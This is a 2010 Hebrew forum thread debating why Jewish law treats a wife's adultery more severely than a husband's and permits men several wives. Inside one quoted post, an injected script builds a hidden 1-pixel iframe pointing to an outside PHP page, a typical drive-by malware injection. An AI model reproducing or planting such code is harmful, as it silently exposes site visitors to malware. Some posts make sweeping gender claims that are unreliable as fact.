| נשלח ב-4/4/2010 12:10 |
 |
| |
ההבדל בין גבר לאשה בפוליגמיה - [הסבר פסיכולוגי]
התעוררתי לחשוב על הענין הזה, גם מבחינת התורה וגם מבחינת מחשבת העולם, בתורה, גבר שלוקח שתי נשים זה לא בעיה, ממילא גם גבר שיבגוד באשתו זה אולי לא מוסרי בכלל אבל לא כזה חמור. מאידך לאשה אסור לקחת שני בעלים ואם היא בוגדת בבעלה מקבלת עונש מוות, סקילה בארוסה וחנק בנשואה [למה ארוסה חמור מנשואה זאת שאלה בפני עצמה]. והשאלה הנשאלת היא למה יש כזה הבדל גדול בין גבר שבוגד לאשה שבוגדת בסה"כ שניהם עשו אותו עוול בדיוק!
התשובה היא שאפילו ששניהם עשו את אותו מעשה עולה אחד כלפי השני בכל זאת יש הבדל גדול בתוכן הפנימי של הדברים, הגבר שבוגד ולוקח אשה אחרת על פני אשתו, ודאי, זה חמור מאד אבל כל בגידתו היא חיצונית למשל באשתו הוא כבר גס ומצא אשה יותר נאה אז בגד, אין בזה כדי להסביר את מעשיו השפלים אבל זה משהו שנובע מדחף של רגע ואי שליטה עצמית ויכול לחלוף ולהגמר מהר.
אבל אשה רואה בגבר סמכות, הערצה, משהו הרבה יותר פנימי וכשהיא בוגדת או נותנת את יהבה במישהו אחר אז בעצם היא רואה בו משהו יותר עוצמתי מבעלה והנזק הוא הרבה יותר פנימי ועמוק, לכן החמירו בה יותר מבאיש.
דעתכם?
תוקן על ידי הגיוניי ב- 04/04/2010 12:26:48
|
|
|
|
| נשלח ב-4/4/2010 12:31 |
|
| |
התשובה שנתת מוכיחה שכל הנחות היסוד האופטימיות שלנו שמשהו השתנה מזמן תקופת חז"ל -בטעות יסודן.
עדיין אותו שובניזם גברי המתייחס לאישה כחפץ חיצוני (נאה או לא)לעומת הגבר -סמל הסמכות והעצמה הפנימית.
(אלא אם כן התכוונת לפרובוקציה לשמה-כבר ראינו את זה פה השבוע)
תוקן על ידי צענערענע ב- 04/04/2010 12:33:10
|
|
|
|
| נשלח ב-4/4/2010 13:30 |
|
| |
והנה הסבר מתחום האתולוגיה (אותו , למשל, תוכלו למצוא פה http://speznas.de/treatise.html): לפי מה שנטען שם, אבותינו הפרימאטים בסאוואנה האפריקאית היו מאורגנים לפי העקרון הבא: להקות של נקבות שבראשון זכר אחד. כל זכר שהיה נולד לתוך הלהקה היה מגורש ממנה (ומת זמן קצר אח"כ מחוסר כל) בעוד שכל הנקבות היו שייכות לאותו זכר אחד - וזה כולל את הבנות של אותו הזכר. וכך היה נמשך עד שהזכר האלפא היה מזדקן וזכר צעיר יותר היה משתלט על הלהקה וחוזר חלילה. הזכר האלפא היה מספק הגנה ואוכל והנקבות היו מספקות ילדים ומין. לפי מה שהאתולוגים טוענים, בעוד אשר התרבות שלנו התקדמה בצעדי ענק, המערכת האמוציאונאלית שלנו תלוייה לגמרי במערכת האינסטינקטיבית שלנו - וזו, כידוע, מתפתחת מאד לאט. לכן נוצר מצב בו המערך האמוציואנאלי שלנו מותאם פחות או יותר לאותו מצב בסוואנה. לכן, יחסנו האסתטי-ערכי-תרבותי וכו' כלפי בעל שבוגד באשתו לעומת אשה שבוגדת בבעלה שונה בתכלית. עכשיו, אנו יודעים שהתורה לרוב לא מטיחה ראש בקיר ולא דורשת מן האדם ללכת נגד טבעו. התורה, למשל, לא אסרה על קיומה של העבדות - וזאת למרות שהיא הגבילה אותה מאד, ובזאת היא מראה (אולי) את חוסר שביעות רצונה ממצב בו יש אדונים ועבדים - אך היא לא אסרה על העבדות כליל, וזאת (כנראה) משום שאיסור כזה היה לא ישים בזמנו - ואולי גם בזמנים עתידיים - והתורה לא קשרה עצמה לזמן מסויים או לתרבות מסוימת . אילו הייתה אוסרת על העבדות כליל, אזי אי אפשר היה לשמור תורה במסגרת כלכלה המבוססת על עבדות. ובל נשכח שעבדות הייתה קיימת במערב עד לאמצע המאה ה-19 בארצות מסויימות ועד סוף המאה ה-18 בכל ארצצות המערב. ובמקומות מסוימם (דרום ארה"ב, רוסיה) כל הכלכלה הייתה מסובבת על עבדות. באותו אופן, התורה לא השוותה נשים לגברים בכל עניני הנישואין וכו' - גם משום ששוויון כשזה איננו ישים בכל חברה ותרבות וגם משום שהוא נוגד את המערך האמוציונאלי הטבעי לנו. התרבות האנושית שברירית, ובתקופות בהן היא בשפל (כגון בימי הבייניים המוקדמים) לא נותר אלא המערך האמוציאונאלי האנושי... אולי זה הסבר
 |
|
|
|
|
| נשלח ב-4/4/2010 13:58 |
|
| |
לי נראה שהסיבה לכך קשורה בצאצאים.
מכיוון שהשארת צאצאים הוא אינסטיקט ביולוגי של הישרדות הגן הרי גבר שיש לו יותר נשים יעמיד יותר צאצאים.
בתקופה שבה הרבה צאצאים לא נשארו בחיים לאחר לידתם היה נחוץ לגבר להעמיד מה שיותר צאצאים כדי שהגנים שלו ימשיכו לשרוד.
לעומת זאת האישה זקוקה לתשעה חדשים כדי ללדת ילד אחד והיא יכולה להביא מספר מצומצם מאד של צאצאים ולכן ריבוי בעלים לא יעזור לה להגדיל את מספר צאצאיה.
תוקן על ידי צענערענע ב- 04/04/2010 14:11:20
|
|
|
|
| נשלח ב-4/4/2010 13:59 |
|
| |
הגיוניי
ברוך הבא אל הפורום
חובה עלי לציין, לא בפעם הראשונה היום, כי אין למשתתף חדש לפתוח אשכול בלי לפנות קודם אל אחד המנהלים לבקש אישור...
אולם כיון שהאשכול קיים, נשאירנו, אם כי אפשר היה לנסחו טוב יותר.
ולענין האשכול.
השאלה עצמה היא חשובה מאד. אכן שומה עלינו תמיד לשאול: מדוע מצוות התורה הן כך ולא אחרת. יתכן שפרטים מסויימים אין להם הסבר, כמו מספר הקרבנות ביום מסויים. אולם באופן כללי, אם אנו מקבלים את ההנחה כי התורה נועדה לחינוך האדם ותועלת החברה, יש מקום לשאול איך מצוות, במיוחד חברתיות כמו זו, משקפות את האידיאל החברתי ומגינות עליו ומקדמות אותו.
טענתו של פותח האשכול היא שיש הבדל פסיכולוגי במבנה האישיות בין אשה לגבר, וכי הבדל זה בא לידי ביטוי גם ביחסם ההדדי. האשה, לדברי הגיוניי, "רואה בגבר סמכות, הערצה, משהו הרבה יותר פנימי" ואם היא יוצרת קשר עם אדם אחר, "בוגדת או נותנת את יהבה", אזי "בעצם היא רואה בו משהו יותר עוצמתי מבעלה".
מדברים אלו ניתן להסיק כי המטרה היא להגן על מערכת היחסים המקורית שנוצרה בין גבר לאשה.
אולם האמנם התלות הפסיכולוגית של אשה בבעלה היא כזו כפי שטוען הגיוניי? נכון שיש לכך זכר במקורות, אולם האם זה באמת תמיד היה כך? ואולי זה תלוי בתרבות שבה גדלו בני הזוג, כפי שטענה צענערענע? (שאלה דומה עלתה בעבר, באשכול אחר, לגבי טיבן של חזקות פסיכולוגיות בכלל בתורה ובהלכה).
איני יודע איך עונים על שאלה זו. האם יש צורך במחקר פסיכולוגי לשם כך? ואיך עורכים אותו? איך משוים בין תלות לתלות ובאיזה כלי מדידה מודדים אותה וכיצד מכמתים (=נותנים ערך מספרי) לכל תלות?
והאם אין איש שתלוי באשה כפי שאשה אמורה להיות תלויה באיש? והאם אין נשים עצמאיות בטבען?
למרות הביקורת שהבעתי כאן, אני עדיין סבור שהגיוניי צודק. והמעמד של איש ואשה בהיסטוריה היה שונה מהיום, ויתכן שהוא אכן תלוי גם במבנה פיזיולוגי ותודעתי שונה, אם כי זאת קשה להוכיח. (האם האינטואיציה שלנו מספיקה? לכאן או לכאן?)
אולם מסתבר שהסיבה לשינוי החריף בין כשלונו של איש לכשלונה של אשה, בתחום העונשים, אינה נעוצה רק בהסבר הפסיכולוגי. אשה, בזמן מתן תורה, היתה תלויה באיש. כדי למנוע ממנה לסטות מהדרך, היה צריך לאיים עליה ועל מי שעלול לפתותה. לכן העונש החמור.
כלומר: התורה מגינה על הסדר החברתי כל עוד הוא טוב ואינו מזיק. כיון שהסדר החברתי בזמן מתן תורה ובמשך אלפי שנים אחר כך העניק עדיפות לאיש על האשה, התורה בנתה מערכת שמגינה על המצב הזה. מצוות אחרות הגנו על האשה (הזכות לכסות, שאר ועונה, ייבום ועוד).
יתכן שתעלה השאלה: האם בדורות האחרונים, כאשר מעמד האשה השתנה אם לא הפסיכולוגיה שלה, והתרבות המודרנית שונה מאד מהעבר, האם המצוה השתנתה? ובכן, תיאורטית ודאי לא. התורה ניתנה על מנת לא להשתנות אלא להישאר כפי שהיא (כפוף לפרשנותם של חכמים וחכמים בלבד).
אבל בפועל, על ידי הוראות שעה שונות, ודאי שהמעמד של הגבר והאשה השתנה. מצד אחד, אין דיני נפשות נוהגים היום ומזה דורות. מצד שני, האיש מוגבל במספר מערכות היחסים שמותר לו לנהל. לאחר שהתורה אסרה מערכת יחסים חד פעמית או מזדמנת אלא במסגרת של קשר נישואין (דברי כאן כהרמב"ם ולא כהראב"ד המפורסם), בא רבנו גרשום מאור הגולה ואסר על הגבר לישא יותר מאשה אחת. צאו וראו כי למרות שלרגמ"ה לא יכלה להיות סמכות מספקת לגזור על כל הגולה, תקנתו זו נחשבת כמחייבת עד היום הזה.
***
לא התייחסתי בדברי להסברו הנאה של רדףהשיג, אבל הרבה ממה שכתבתי קרוב או זהה לדברים שכתב, במילים אחרות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-4/4/2010 14:23 |
|
| |
בספרים על פסיכולוגיה אבולוציונית, כגון ספריו של סטיבן פינקר, ובספרים על תורת המשחקים, ניתן למצוא הסברים אבולציוניים לתופעה שתאר פותח האשכול.
תוקן על ידי בעלבעמיו ב- 04/04/2010 14:23:55
|
|
|
|
|
| נשלח ב-4/4/2010 14:29 |
|
| |
לבעל בעמיו: ראה תגובתי לעיל
|
|
|
|
| נשלח ב-4/4/2010 14:31 |
|
| |
רדף
הטיעונים שהועלו באותם ספרים הם מכיוונים אחרים.
|
|
|
|
| נשלח ב-4/4/2010 14:54 |
|
| |
סבבה - אעיין שם
|
|
|
|
| נשלח ב-4/4/2010 15:43 |
|
| |
לרדףהשיג
"לפי מה שנטען שם, אבותינו הפרימאטים בסאוואנה האפריקאית היו מאורגנים לפי העקרון הבא: להקות של נקבות שבראשון זכר אחד. כל זכר שהיה נולד לתוך הלהקה היה מגורש ממנה (ומת זמן קצר אח"כ מחוסר כל) בעוד שכל הנקבות היו שייכות לאותו זכר אחד - וזה כולל את הבנות של אותו הזכר. וכך היה נמשך עד שהזכר האלפא היה מזדקן וזכר צעיר יותר היה משתלט על הלהקה וחוזר חלילה. הזכר האלפא היה מספק הגנה ואוכל והנקבות היו מספקות ילדים ומין.
,לפי מה שהאתולוגים טוענים, בעוד אשר התרבות שלנו התקדמה בצעדי ענק, המערכת האמוציאונאלית שלנו תלוייה לגמרי במערכת האינסטינקטיבית שלנו - וזו, כידוע, מתפתחת מאד לאט. לכן נוצר מצב בו המערך האמוציואנאלי שלנו מותאם פחות או יותר לאותו מצב בסוואנה. לכן, יחסנו האסתטי-ערכי-תרבותי וכו' כלפי בעל שבוגד באשתו לעומת אשה שבוגדת בבעלה שונה בתכלית. "
כך כתבת.
השאלה שנשאלת היא מדוע היה מבנה חברתי כזה דווקא אצל אבותינו הפרימאטים?
לבעלבעמיו
האם הכיוון של פינקר הוא ההסבר ההורמונלי?
אודה לך אם תבאר את הקשר לתורת המשחקים.
|
|
|
|
| נשלח ב-4/4/2010 16:18 |
|
| |
לצענעענע: לפי מה שהבנתי מכתביהם של רבותינו האתולוגים זה קשור לשינוי שחל בצורת השגת האוכל.
לפנים, ההומונואידים לא אגרו אוכל אלא היו אוכלים את האוכל שהיו מוצאים על המקום. עם הזמן, התפתחה חברה של ציידים-לקטים.
עכשיו, ראשית, כדי לצוד וללקט כבר נדרשת חלוקת תפקידים - מישהו חייב לצוד וללקט ומישהו אחר אמור לשמור על מאגרי המזון, להאכיל את הצאצאים וכו'. מבחינת קונסטיטוציה גופנית, הזכרים היו יותר מתאימים למשימה של צייד וכו'
שנית, אותם שיוצאים לצוד וללקט צריכים מוטיבאציה לעשות כן וצריכים מוטיבאציה כדי להביא את האוכל הזה לנשים ולצאצאים ולא לאכול אותו בעצמם.
אז נוצר הסדר (לא הסדר תבוני אלא מכאניזם אינסטינקטיבי שנוצר באופן אבוצלוציוני) בו הנקבות פוריות במשך כל השנה ולכן גם מסוגלות לקיים יחסי מין כל השנה (מה שאין כן אצל שאר היונקים) וכך ישנה מוטיבאציה אצל הזכרים להביא אוכל לנקבות ולצאצאיהן.
מאידך, אצל כל היונקים ישנה תחרות על הנקבות. זוכים בתחרות הזאת אלו שהתכונות הגנטיות שלהם מועילות להשרדות הצאצאים (אצל הנקבות ישנה יכולת אינסטינקטיבית לזהות תכונות אלו). ובאותם תנאים שהיו אז בסאוואנה, כנראה (אם אני זוכר נכון את ההסבר), התנאים הטבעיים הפכו את המבנה ה"משפחתי" הזה - זכר אחד + כמה נקבות לאופטימאלי מבחינה השרדותית (אולי מהסיבה שאמרת - שהנקבה הייתה רוב הזמן בהריון - אז נצרכו נקבות אחרות להחליף אותה בינתיים כדי שלזכר תיהיה מוטיבאציה לזון את ה"משפחה" הזאת).
|
|
|
|
|
| נשלח ב-4/4/2010 16:18 |
|
| |
הגיוניי
וכן מקסמן
אני חוזר בי. לא מהברכה אלא מהגבלה של "חדשים". רק ניתן ללמוד מזה עד כמה איני מגיע בקביעות ולכן איני זוכה להכיר כראוי את באי הפורום.
ולמקסמן
ראיתי באחד האשכולות משל נאה שחיברת על אותו אדם שישב בסעודה וכשבא המארח והזמינו לאכול סבר שעליו לשלם על כל מה שהיה קודם, והיה הרבה.
אל נא תחשוב שאם אני מברך מישהו רק כיום, זה סימן שכל מה שהיה קודם כלא היה. זה רק מעיד על כך שעם מיגבלותי, אחת מהן היא שאיני קורא הכל, או אפילו חלק גדול, וכן שאיני מגיע לעתים מזומנות, ולכן אני מחמיץ הרבה. לפיכך קבל את הדברים כמעידים על רצון טוב ולא על שלילת העבר. ופשוט.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-7/4/2010 03:51 |
|
| |
| צענערענע כתב: |  | התשובה שנתת מוכיחה שכל הנחות היסוד האופטימיות שלנו שמשהו השתנה מזמן תקופת חז"ל -בטעות יסודן.
עדיין אותו שובניזם גברי המתייחס לאישה כחפץ חיצוני (נאה או לא)לעומת הגבר -סמל הסמכות והעצמה הפנימית. |
|
הטבע שובניסטי ? לעולם האשה תיהיה שונה מהגבר, אי אפשר להגדיר כשובניזם הבדלים בסיסים וטבעים בין נשים לגברים.
|
|
|
|
| נשלח ב-7/4/2010 04:23 |
|
| |
| מיימוני כתב: | | הגיוניי וכן מקסמן
אני חוזר בי. לא מהברכה אלא מהגבלה של "חדשים". רק ניתן ללמוד מזה עד כמה איני מגיע בקביעות ולכן איני זוכה להכיר כראוי את באי הפורום.
ולמקסמן
ראיתי באחד האשכולות משל נאה שחיברת על אותו אדם שישב בסעודה וכשבא המארח והזמינו לאכול סבר שעליו לשלם על כל מה שהיה קודם, והיה הרבה. אל נא תחשוב שאם אני מברך מישהו רק כיום, זה סימן שכל מה שהיה קודם כלא היה. זה רק מעיד על כך שעם מיגבלותי, אחת מהן היא שאיני קורא הכל, או אפילו חלק גדול, וכן שאיני מגיע לעתים מזומנות, ולכן אני מחמיץ הרבה. לפיכך קבל את הדברים כמעידים על רצון טוב ולא על שלילת העבר. ופשוט. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
זה בסדר צדיק, זה היה בהלצה, אני מברך אותך שיהיה לך יותר זמן לבקר אותנו כאן,
|
|
|
|
| נשלח ב-7/4/2010 06:36 |
|
| |
[רדף השיג כתב: הזכר האלפא היה מספק
הגנה ואוכל והנקבות היו מספקות ילדים ומין].
לפי מיטב ידעתי, דברים אלו בנויים בתוך תורת ישראל שהרי החיוב על הגבר הוא:
"שארה וכסותה... לא יגרע" (שמות כא', פס' י'). וכן בכתובתה מתחייב לה
למדור, דהיינו בית [הווי אומר הגנה, שהרי אדם (ובמיוחד אשה) מרגיש הכי מוגן
בביתו]. ועל הנשים נאמר: "דיינו שמגדלות את בנינו, ומצילות אותנו מן החטא [הידוע]" (יבמות ס"ג).
יתירה מזאת, לדעתי גם בימינו אנו, הימים של אחרי מהפכת המינית הגדולה
שהייתה בשנות ה- 60 שהביאה שיוון בין הגברים לנשים, עדיין המושג "עקרת בית"
לא פשה מן הלקסיקון, והוא קיים לרוב:
http://he.wikipedia.org/wiki/עקרת_בית
והעובדה היא שעדיין מקובל בכל העולם כולו שעניין הפרנסה נופל על כתפי האבא, בעוד
האמא צריכה לגדל את ילדיה...
האמת היא שדנתי בדבר עם חברי מספר פעמים, ואני חושב שאיסור הבגידה נתפס כחמור
יותר אצל האשה מאשר אצל הגבר, תלוי במציאות שאין עליה עוררין שהתאווה המינית של
הגבר גדולה לאין שיעור מאצל הנשים, וגבר ממוצע ילך כמעט עם כל אשה שנקראת בדרכו...
בעוד שאצל הנשים זה סיפור שונה לגמרי, ואם האשה כבר בחרה את אהוב ליבה (שהרי אין
האשה מתקדשת אלא מדעתה), ויצרה לעצמה את קן ביתה (כפי שתיארתי לעיל) וכעת היא
חופפת במעין "הגנה" כזאת, ואע"פ כן היא מפנה עורף לבחירתה ומעדיפה
לחלל את יצועיה – יוצר מצב של שבירת דרך חברתית שבה הנשים הלכו במשך שנים רבות.
ואסיים במילי דבדיחותא: פעם שמעתי את נאור ציון (סדנדפיסט) מתאר גבר ואשה
שנכנסים למערכת של הכרויות באינטרנט: נניח גבר ואשה, שניהם בגיל ה – 24.
אשה מחפשת: מגיל – 24 – 27, נאה, אקדמאי, בעל חוש הומר, ושיש לו שאיפות.
גבר מחפש: מגיל 18 – 50, כל התמונות והבחורות שהאתר מוכן להציע, אני רוצה
לראות!
ואין כאן מה להוסיף, ודברי חכם חן
|
|
|
|
|
|
